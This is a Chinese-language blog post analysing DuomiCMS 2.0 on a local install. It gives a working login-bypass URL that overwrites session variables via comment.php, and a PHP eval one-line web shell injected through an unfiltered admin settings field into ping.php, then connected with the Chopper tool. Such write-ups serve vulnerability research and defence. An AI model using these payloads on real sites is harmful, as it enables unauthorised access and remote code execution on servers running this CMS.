美文网首页
多米CMS 2.0 绕过登陆验证与get shell

多米CMS 2.0 绕过登陆验证与get shell

作者: N8_xEnn7nA1 | 来源:发表于2018-11-13 09:39 被阅读0次

    首先在本地搭建好环境。

    先直接访问后台:http://localhost/duomicms/admin/index.php,发现跳到了登录页面,可见一定有登录状态的验证,验证不通过,就跳转到了登录页面:

    image.png

    查看后台 /duomicms/admin/index.php 的代码:


    image.png

    代码最下面包含进去的 index.htm 就是后台首页的HTML代码,所以登录状态的验证,应该就在前面包含的 config.php 和 inc_menu.php 中,

    先来看 /duomicms/admin/config.php,其中,会执行的代码如下:


    image.png

    红方框中,为校验用户登录状态的部分。
    先来看 /duomicms/duomiphp/check.admin.php:


    image.png

    这里定义了 CheckPurview() 来进行用户权限检查,如果是管理员才可以(getUserRank() 返回为1即可)。

    搜索 CheckPurview() 函数被调用的地方,发现 /duomicms/admin 目录下绝大部分的 php 文件都调用了该函数:


    image.png

    毕竟这个目录下的源文件负责后台管理的。

    另外可以看到这里还调用了 session_start(); 说明是可以通过 _SESSION[ ] 接收请求参数的。

    getUserRank() 是类 userLogin 的一个成员方法,该类的定义就在该文件的最后,该成员方法实现如下:


    image.png

    查看 成员方法 getgroupid():


    image.png

    继续查看 成员变量 $this->groupid 被赋值的地方,发现在 userLogin 的对象创建时,会被赋值:


    image.png

    另外,同为 userLogin类的成员变量的 $userID,就是上面提到的 /duomicms/admin/config.php 中 getUserID() 函数返回的值。

    可以看到 userID 和 groupid的值,都能通过 $_SESSION[ ] 进行传入。

    由于 /duomicms/interface/comment.php 的第一行代码就调用了 session_start();
    因此,可以将 _SESSION参数传入通过该文件来传入,尽管有的 php文件中也有调用 session_start(); 但不一定能通过我们构造的URL成功传入 $_SESSION[ ],比如 /duomicms/duomiphp/check.admin.php :

    image.png image.png

    如图,说明都没执行到 session_start(); 就 exit()了。
    因此,构造并访问如下URL:

    http://localhost/duomicms/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1

    image.png

    再访问后台首页,发现绕过了登录验证,成功进入:

    image.png

    接着,要进一步利用,在百度推送那个地方有个可以利用的点:

    image.png

    我们在编辑框修改的内容,会写入到 /duomicms/data/admin/ping.php 文件中。
    先点击确认,然后再查看一下该文件:

    image.png

    那么,我们在准入密钥编辑框中写入 123456789"; eval($_POST['z']);//
    再查看 /duomicms/data/admin/ping.php 文件:

    image.png

    发现它并没有进行安全过滤,于是成功 get shell :

    image.png

    用菜刀也能连接了:

    image.png image.png

    PS:我是将菜刀放到虚拟机里面去运行的,所以这里的ip部分不是localhost或者127.0.0.1。

    相关文章

      网友评论

          本文标题:多米CMS 2.0 绕过登陆验证与get shell

          本文链接:https://www.haomeiwen.com/subject/bmlkfqtx.html